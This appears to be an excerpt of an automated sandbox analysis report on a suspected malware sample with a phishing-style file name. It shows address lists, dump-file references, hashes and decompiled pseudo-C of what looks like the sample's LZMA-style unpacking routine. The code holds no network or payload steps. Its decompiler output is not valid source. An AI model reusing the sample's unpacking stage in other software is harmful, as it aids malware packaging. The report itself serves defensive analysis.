          0x00406ebb
          0x00406ebe
          0x00406ec1
          0x00406ec5
          0x00406ec8
          0x00406ece
          0x00406ed0
          0x00406ed0
          0x00406ed0
          0x00406ed3
          0x00406ed6
          0x00406ed6
          0x00406ed6
          0x00406edc
          0x00000000
          0x00000000
          0x00406ede
          0x00406ee1
          0x00406ee4
          0x00406ee7
          0x00406eea
          0x00406eed
          0x00406ef0
          0x00406ef3
          0x00406ef6
          0x00406ef9
          0x00406efc
          0x00406f14
          0x00406f17
          0x00406f1a
          0x00406f1d
          0x00406f1d
          0x00406f20
          0x00406f24
          0x00406f26
          0x00406efe
          0x00406efe
          0x00406f06
          0x00406f0b
          0x00406f0d
          0x00406f0f
          0x00406f0f
          0x00406f29
          0x00406f30
          0x00406f33
          0x00000000
          0x00406f35
          0x00000000
          0x00406f35
          0x00406f33
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00000000
          0x00000000
          0x00406f75
          0x00406f75
          0x00406f79
          0x00407581
          0x00000000
          0x00407581
          0x00406f7f
          0x00406f82
          0x00406f85
          0x00406f89
          0x00406f8c
          0x00406f92
          0x00406f94
          0x00406f94
          0x00406f94
          0x00406f97
          0x00406f9a
          0x00406f9a
          0x00406fa0
          0x00406f3e
          0x00406f3e
          0x00406f41
          0x00000000
          0x00406f41
          0x00406fa2
          0x00406fa2
          0x00406fa5
          0x00406fa8
          0x00406fab
          0x00406fae
          0x00406fb1
          0x00406fb4
          0x00406fb7
          0x00406fba
          0x00406fbd
          0x00406fc0
          0x00406fd8
          0x00406fdb
          0x00406fde
          0x00406fe1
          0x00406fe1
          0x00406fe4
          0x00406fe8
          0x00406fea
          0x00406fc2
          0x00406fc2
          0x00406fca
          0x00406fcf
          0x00406fd1
          0x00406fd3
          0x00406fd3
          0x00406fed
          0x00406ff4
          0x00406ff7
          0x00000000
          0x00406ff9
          0x00000000
          0x00406ff9
          0x00000000
          0x00407286
          0x00407286
          0x0040728a
          0x004075b1
          0x00000000
          0x004075b1
          0x00407290
          0x00407293
          0x00407296
          0x0040729a
          0x0040729d
          0x004072a3
          0x004072a5
          0x004072a5
          0x004072a5
          0x004072a8
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00407395
          0x00407399
          0x004073bb
          0x004073be
          0x004073c8
          0x00000000
          0x004073c8
          0x0040739b
          0x0040739e
          0x004073a2
          0x004073a5
          0x004073a5
          0x004073a8
          0x00000000
          0x00000000
          0x00407452
          0x00407456
          0x00407474
          0x00407474
          0x00407474
          0x0040747b
          0x00407482
          0x00407489
          0x00407489
          0x00000000
          0x00407489
          0x00407458
          0x0040745b
          0x0040745e
          0x00407461
          0x00407468
          0x004073ac
          0x004073ac
          0x004073af
          0x00000000
          0x00000000
          0x00407543
          0x00407546
          0x00000000
          0x00000000
          0x0040717d
          0x0040717f
          0x00407186
          0x00407187
          0x00407189
          0x0040718c
          0x00000000
          0x00000000
          0x00407194
          0x00407197
          0x0040719a
          0x0040719c
          0x0040719e
          0x0040719e
          0x0040719f
          0x004071a2
          0x004071a9
          0x004071ac
          0x004071ba
          0x00000000
          0x00000000
          0x00407490
          0x00407490
          0x00407493
          0x0040749a
          0x00000000
          0x00000000
          0x0040749f
          0x0040749f
          0x004074a3
          0x004075db
          0x00000000
          0x004075db
          0x004074a9
          0x004074ac
          0x004074af
          0x004074b3
          0x004074b6
          0x004074bc
          0x004074be
          0x004074be
          0x004074be
          0x004074c1
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c7
          0x004074c7
          0x004074cb
          0x0040752b
          0x0040752e
          0x00407533
          0x00407534
          0x00407536
          0x00407538
          0x0040753b
          0x00000000
          0x0040753b
          0x004074cd
          0x004074d3
          0x004074d6
          0x004074d9
          0x004074dc
          0x004074df
          0x004074e2
          0x004074e5
          0x004074e8
          0x004074eb
          0x004074ee
          0x00407507
          0x0040750a
          0x0040750d
          0x00407510
          0x00407514
          0x00407516
          0x00407516
          0x00407517
          0x0040751a
          0x004074f0
          0x004074f0
          0x004074f8
          0x004074fd
          0x004074ff
          0x00407502
          0x00407502
          0x0040751d
          0x00407524
          0x00000000
          0x00407526
          0x00000000
          0x00407526
          0x00000000
          0x004071c2
          0x004071c5
          0x004071fb
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732e
          0x0040732e
          0x00407331
          0x00407333
          0x004075bd
          0x00000000
          0x004075bd
          0x00407339
          0x0040733c
          0x00000000
          0x00000000
          0x00407342
          0x00407346
          0x00407349
          0x00407349
          0x00407349
          0x00000000
          0x00407349
          0x004071c7
          0x004071c9
          0x004071cb
          0x004071cd
          0x004071d0
          0x004071d1
          0x004071d3
          0x004071d5
          0x004071d8
          0x004071db
          0x004071f1
          0x004071f6
          0x0040722e
          0x0040722e
          0x00407232
          0x0040725e
          0x00407260
          0x00407267
          0x0040726a
          0x0040726d
          0x0040726d
          0x00407272
          0x00407272
          0x00407274
          0x00407277
          0x0040727e
          0x00407281
          0x004072ae
          0x004072ae
          0x004072b1
          0x004072b4
          0x00407328
          0x00407328
          0x00407328
          0x00000000
          0x00407328
          0x004072b6
          0x004072bc
          0x004072bf
          0x004072c2
          0x004072c5
          0x004072c8
          0x004072cb
          0x004072ce
          0x004072d1
          0x004072d4
          0x004072d7
          0x004072f0
          0x004072f2
          0x004072f5
          0x004072f6
          0x004072f9
          0x004072fb
          0x004072fe
          0x00407300
          0x00407302
          0x00407305
          0x00407307
          0x0040730a
          0x0040730e
          0x00407310
          0x00407310
          0x00407311
          0x00407314
          0x00407317
          0x004072d9
          0x004072d9
          0x004072e1
          0x004072e6
          0x004072e8
          0x004072eb
          0x004072eb
          0x0040731a
          0x00407321
          0x004072ab
          0x004072ab
          0x004072ab
          0x004072ab
          0x00000000
          0x00407323
          0x00000000
          0x00407323
          0x00407321
          0x00407234
          0x00407237
          0x00407239
          0x0040723c
          0x0040723f
          0x00407242
          0x00407244
          0x00407247
          0x0040724a
          0x0040724a
          0x0040724d
          0x0040724d
          0x00407250
          0x00407257
          0x0040722b
          0x0040722b
          0x0040722b
          0x0040722b
          0x00000000
          0x00407259
          0x00000000
          0x00407259
          0x00407257
          0x004071dd
          0x004071e0
          0x004071e2
          0x004071e5
          0x00000000
          0x00000000
          0x00406f44
          0x00406f44
          0x00406f48
          0x0040758d
          0x00000000
          0x0040758d
          0x00406f4e
          0x00406f51
          0x00406f54
          0x00406f57
          0x00406f5a
          0x00406f5d
          0x00406f60
          0x00406f62
          0x00406f65
          0x00406f68
          0x00406f6b
          0x00406f6d
          0x00406f6d
          0x00406f6d
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040734c
          0x0040734c
          0x0040734c
          0x00407350
          0x00000000
          0x00000000
          0x00407356
          0x00407359
          0x0040735c
          0x0040735f
          0x00407361
          0x00407361
          0x00407361
          0x00407364
          0x00407367
          0x0040736a
          0x0040736d
          0x00407370
          0x00407373
          0x00407374
          0x00407376
          0x00407376
          0x00407376
          0x00407379
          0x0040737c
          0x0040737f
          0x00407382
          0x00407385
          0x00407389
          0x0040738b
          0x0040738e
          0x00000000
          0x00407390
          0x00000000
          0x00407390
          0x0040738e
          0x004075c3
          0x00000000
          0x00000000
          0x00406bf2

          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
          • Instruction ID: 0a676f48c9952aad729ccf503b6a86ce95496029d8c73069f89f3073be052f6e
          • Opcode Fuzzy Hash: 93c083d05bcdf6195ca23c2a54f1652f9efbc2f2339d63ff2f761c89645e7c92
          • Instruction Fuzzy Hash: C3813471D08228DFDF24CFA8C8847ADBBB1FB44305F24816AD456BB281D778A986DF05
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 98%
          			E00406FFE() {
          				signed int _t539;
          				unsigned short _t540;
          				signed int _t541;
          				void _t542;
          				signed int _t543;
          				signed int _t544;
          				signed int _t573;
          				signed int _t576;
          				signed int _t597;
          				signed int* _t614;
          				void* _t621;
          
          				L0:
          				while(1) {
          					L0:
          					if( *(_t621 - 0x40) != 1) {
          						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
          						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
          						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
          						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
          						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
          						_t539 =  *(_t621 - 4) + 0x664;
          						 *(_t621 - 0x58) = _t539;
          						goto L68;
          					} else {
          						 *(__ebp - 0x84) = 8;
          						while(1) {
          							L132:
          							 *(_t621 - 0x54) = _t614;
          							while(1) {
          								L133:
          								_t540 =  *_t614;
          								_t597 = _t540 & 0x0000ffff;
          								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
          								if( *(_t621 - 0xc) >= _t573) {
          									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
          									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
          									 *(_t621 - 0x40) = 1;
          									_t541 = _t540 - (_t540 >> 5);
          									 *_t614 = _t541;
          								} else {
          									 *(_t621 - 0x10) = _t573;
          									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
          									 *_t614 = (0x800 - _t597 >> 5) + _t540;
          								}
          								if( *(_t621 - 0x10) >= 0x1000000) {
          									goto L139;
          								}
          								L137:
          								if( *(_t621 - 0x6c) == 0) {
          									 *(_t621 - 0x88) = 5;
          									L170:
          									_t576 = 0x22;
          									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
          									_t544 = 0;
          									L172:
          									return _t544;
          								}
          								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
          								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
          								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
          								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
          								L139:
          								_t542 =  *(_t621 - 0x84);
          								while(1) {
          									 *(_t621 - 0x88) = _t542;
          									while(1) {
          										L1:
          										_t543 =  *(_t621 - 0x88);
          										if(_t543 > 0x1c) {
          											break;
          										}
          										switch( *((intOrPtr*)(_t543 * 4 +  &M00407602))) {
          											case 0:
          												if( *(_t621 - 0x6c) == 0) {
          													goto L170;
          												}
          												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
          												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
          												_t543 =  *( *(_t621 - 0x70));
          												if(_t543 > 0xe1) {
          													goto L171;
          												}
          												_t547 = _t543 & 0x000000ff;
          												_push(0x2d);
          												asm("cdq");
          												_pop(_t578);
          												_push(9);
          												_pop(_t579);
          												_t617 = _t547 / _t578;
          												_t549 = _t547 % _t578 & 0x000000ff;
          												asm("cdq");
          												_t612 = _t549 % _t579 & 0x000000ff;
          												 *(_t621 - 0x3c) = _t612;
          												 *(_t621 - 0x1c) = (1 << _t617) - 1;
          												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
          												_t620 = (0x300 << _t612 + _t617) + 0x736;
          												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
          													L10:
          													if(_t620 == 0) {
          														L12:
          														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
          														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
          														goto L15;
          													} else {
          														goto L11;
          													}
          													do {
          														L11:
          														_t620 = _t620 - 1;
          														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
          													} while (_t620 != 0);
          													goto L12;
          												}
          												if( *(_t621 - 4) != 0) {
          													GlobalFree( *(_t621 - 4));
          												}
          												_t543 = GlobalAlloc(0x40, 0x600); // executed
          												 *(_t621 - 4) = _t543;
          												if(_t543 == 0) {
          													goto L171;
          												} else {
          													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
          													goto L10;
          												}
          											case 1:
          												L13:
          												__eflags =  *(_t621 - 0x6c);
          												if( *(_t621 - 0x6c) == 0) {
          													 *(_t621 - 0x88) = 1;
          													goto L170;
          												}
          												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
          												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
          												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
          												_t45 = _t621 - 0x48;
          												 *_t45 =  *(_t621 - 0x48) + 1;
          												__eflags =  *_t45;
          												L15:
          												if( *(_t621 - 0x48) < 4) {
          													goto L13;
          												}
          												_t555 =  *(_t621 - 0x40);
          												if(_t555 ==  *(_t621 - 0x74)) {
          													L20:
          													 *(_t621 - 0x48) = 5;
          													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
          													goto L23;
          												}
          												 *(_t621 - 0x74) = _t555;
          												if( *(_t621 - 8) != 0) {
          													GlobalFree( *(_t621 - 8));
          												}
          												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
          												 *(_t621 - 8) = _t543;
          												if(_t543 == 0) {
          													goto L171;
          												} else {
          													goto L20;
          												}
          											case 2:
          												L24:
          												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
          												 *(_t621 - 0x84) = 6;
          												 *(_t621 - 0x4c) = _t562;
          												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
          												goto L132;
          											case 3:
          												L21:
          												__eflags =  *(_t621 - 0x6c);
          												if( *(_t621 - 0x6c) == 0) {
          													 *(_t621 - 0x88) = 3;
          													goto L170;
          												}
          												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
          												_t67 = _t621 - 0x70;
          												 *_t67 =  &(( *(_t621 - 0x70))[1]);
          												__eflags =  *_t67;
          												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
          												L23:
          												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
          												if( *(_t621 - 0x48) != 0) {
          													goto L21;
          												}
          												goto L24;
          											case 4:
          												L133:
          												_t540 =  *_t614;
          												_t597 = _t540 & 0x0000ffff;
          												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
          												if( *(_t621 - 0xc) >= _t573) {
          													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
          													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
          													 *(_t621 - 0x40) = 1;
          													_t541 = _t540 - (_t540 >> 5);
          													 *_t614 = _t541;
          												} else {
          													 *(_t621 - 0x10) = _t573;
          													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
          													 *_t614 = (0x800 - _t597 >> 5) + _t540;
          												}
          												if( *(_t621 - 0x10) >= 0x1000000) {
          													goto L139;
          												}
          											case 5:
          												goto L137;
          											case 6:
          												__edx = 0;
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													__eax =  *(__ebp - 4);
          													__ecx =  *(__ebp - 0x38);
          													 *(__ebp - 0x34) = 1;
          													 *(__ebp - 0x84) = 7;
          													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
          													L132:
          													 *(_t621 - 0x54) = _t614;
          													goto L133;
          												}
          												__eax =  *(__ebp - 0x5c) & 0x000000ff;
          												__esi =  *(__ebp - 0x60);
          												__cl = 8;
          												__cl = 8 -  *(__ebp - 0x3c);
          												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
          												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
          												__ecx =  *(__ebp - 0x3c);
          												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
          												__ecx =  *(__ebp - 4);
          												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
          												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
          												__eflags =  *(__ebp - 0x38) - 4;
          												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          												if( *(__ebp - 0x38) >= 4) {
          													__eflags =  *(__ebp - 0x38) - 0xa;
          													if( *(__ebp - 0x38) >= 0xa) {
          														_t98 = __ebp - 0x38;
          														 *_t98 =  *(__ebp - 0x38) - 6;
          														__eflags =  *_t98;
          													} else {
          														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
          													}
          												} else {
          													 *(__ebp - 0x38) = 0;
          												}
          												__eflags =  *(__ebp - 0x34) - __edx;
          												if( *(__ebp - 0x34) == __edx) {
          													__ebx = 0;
          													__ebx = 1;
          													goto L61;
          												} else {
          													__eax =  *(__ebp - 0x14);
          													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          													__eflags = __eax -  *(__ebp - 0x74);
          													if(__eax >=  *(__ebp - 0x74)) {
          														__eax = __eax +  *(__ebp - 0x74);
          														__eflags = __eax;
          													}
          													__ecx =  *(__ebp - 8);
          													__ebx = 0;
          													__ebx = 1;
          													__al =  *((intOrPtr*)(__eax + __ecx));
          													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
          													goto L41;
          												}
          											case 7:
          												goto L0;
          											case 8:
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													__eax =  *(__ebp - 4);
          													__ecx =  *(__ebp - 0x38);
          													 *(__ebp - 0x84) = 0xa;
          													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
          												} else {
          													__eax =  *(__ebp - 0x38);
          													__ecx =  *(__ebp - 4);
          													__eax =  *(__ebp - 0x38) + 0xf;
          													 *(__ebp - 0x84) = 9;
          													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
          													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
          												}
          												while(1) {
          													L132:
          													 *(_t621 - 0x54) = _t614;
          													goto L133;
          												}
          											case 9:
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													goto L89;
          												}
          												__eflags =  *(__ebp - 0x60);
          												if( *(__ebp - 0x60) == 0) {
          													goto L171;
          												}
          												__eax = 0;
          												__eflags =  *(__ebp - 0x38) - 7;
          												_t258 =  *(__ebp - 0x38) - 7 >= 0;
          												__eflags = _t258;
          												0 | _t258 = _t258 + _t258 + 9;
          												 *(__ebp - 0x38) = _t258 + _t258 + 9;
          												goto L75;
          											case 0xa:
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													__eax =  *(__ebp - 4);
          													__ecx =  *(__ebp - 0x38);
          													 *(__ebp - 0x84) = 0xb;
          													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
          													while(1) {
          														L132:
          														 *(_t621 - 0x54) = _t614;
          														goto L133;
          													}
          												}
          												__eax =  *(__ebp - 0x28);
          												goto L88;
          											case 0xb:
          												__eflags =  *(__ebp - 0x40);
          												if( *(__ebp - 0x40) != 0) {
          													__ecx =  *(__ebp - 0x24);
          													__eax =  *(__ebp - 0x20);
          													 *(__ebp - 0x20) =  *(__ebp - 0x24);
          												} else {
          													__eax =  *(__ebp - 0x24);
          												}
          												__ecx =  *(__ebp - 0x28);
          												 *(__ebp - 0x24) =  *(__ebp - 0x28);
          												L88:
          												__ecx =  *(__ebp - 0x2c);
          												 *(__ebp - 0x2c) = __eax;
          												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          												L89:
          												__eax =  *(__ebp - 4);
          												 *(__ebp - 0x80) = 0x15;
          												__eax =  *(__ebp - 4) + 0xa68;
          												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
          												goto L68;
          											case 0xc:
          												L99:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0xc;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t334 = __ebp - 0x70;
          												 *_t334 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t334;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												__eax =  *(__ebp - 0x2c);
          												goto L101;
          											case 0xd:
          												L37:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0xd;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t122 = __ebp - 0x70;
          												 *_t122 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t122;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												L39:
          												__eax =  *(__ebp - 0x40);
          												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
          													goto L48;
          												}
          												__eflags = __ebx - 0x100;
          												if(__ebx >= 0x100) {
          													goto L54;
          												}
          												L41:
          												__eax =  *(__ebp - 0x5b) & 0x000000ff;
          												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
          												__ecx =  *(__ebp - 0x58);
          												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
          												 *(__ebp - 0x48) = __eax;
          												__eax = __eax + 1;
          												__eax = __eax << 8;
          												__eax = __eax + __ebx;
          												__esi =  *(__ebp - 0x58) + __eax * 2;
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          												__ax =  *__esi;
          												 *(__ebp - 0x54) = __esi;
          												__edx = __ax & 0x0000ffff;
          												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
          												__eflags =  *(__ebp - 0xc) - __ecx;
          												if( *(__ebp - 0xc) >= __ecx) {
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          													__cx = __ax;
          													 *(__ebp - 0x40) = 1;
          													__cx = __ax >> 5;
          													__eflags = __eax;
          													__ebx = __ebx + __ebx + 1;
          													 *__esi = __ax;
          												} else {
          													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
          													 *(__ebp - 0x10) = __ecx;
          													0x800 = 0x800 - __edx;
          													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
          													__ebx = __ebx + __ebx;
          													 *__esi = __cx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												 *(__ebp - 0x44) = __ebx;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													goto L39;
          												} else {
          													goto L37;
          												}
          											case 0xe:
          												L46:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0xe;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t156 = __ebp - 0x70;
          												 *_t156 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t156;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												while(1) {
          													L48:
          													__eflags = __ebx - 0x100;
          													if(__ebx >= 0x100) {
          														break;
          													}
          													__eax =  *(__ebp - 0x58);
          													__edx = __ebx + __ebx;
          													__ecx =  *(__ebp - 0x10);
          													__esi = __edx + __eax;
          													__ecx =  *(__ebp - 0x10) >> 0xb;
          													__ax =  *__esi;
          													 *(__ebp - 0x54) = __esi;
          													__edi = __ax & 0x0000ffff;
          													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          													__eflags =  *(__ebp - 0xc) - __ecx;
          													if( *(__ebp - 0xc) >= __ecx) {
          														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          														__cx = __ax;
          														_t170 = __edx + 1; // 0x1
          														__ebx = _t170;
          														__cx = __ax >> 5;
          														__eflags = __eax;
          														 *__esi = __ax;
          													} else {
          														 *(__ebp - 0x10) = __ecx;
          														0x800 = 0x800 - __edi;
          														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          														__ebx = __ebx + __ebx;
          														 *__esi = __cx;
          													}
          													__eflags =  *(__ebp - 0x10) - 0x1000000;
          													 *(__ebp - 0x44) = __ebx;
          													if( *(__ebp - 0x10) >= 0x1000000) {
          														continue;
          													} else {
          														goto L46;
          													}
          												}
          												L54:
          												_t173 = __ebp - 0x34;
          												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
          												__eflags =  *_t173;
          												goto L55;
          											case 0xf:
          												L58:
          												__eflags =  *(__ebp - 0x6c);
          												if( *(__ebp - 0x6c) == 0) {
          													 *(__ebp - 0x88) = 0xf;
          													goto L170;
          												}
          												__ecx =  *(__ebp - 0x70);
          												__eax =  *(__ebp - 0xc);
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												_t203 = __ebp - 0x70;
          												 *_t203 =  *(__ebp - 0x70) + 1;
          												__eflags =  *_t203;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          												L60:
          												__eflags = __ebx - 0x100;
          												if(__ebx >= 0x100) {
          													L55:
          													__al =  *(__ebp - 0x44);
          													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
          													goto L56;
          												}
          												L61:
          												__eax =  *(__ebp - 0x58);
          												__edx = __ebx + __ebx;
          												__ecx =  *(__ebp - 0x10);
          												__esi = __edx + __eax;
          												__ecx =  *(__ebp - 0x10) >> 0xb;
          												__ax =  *__esi;
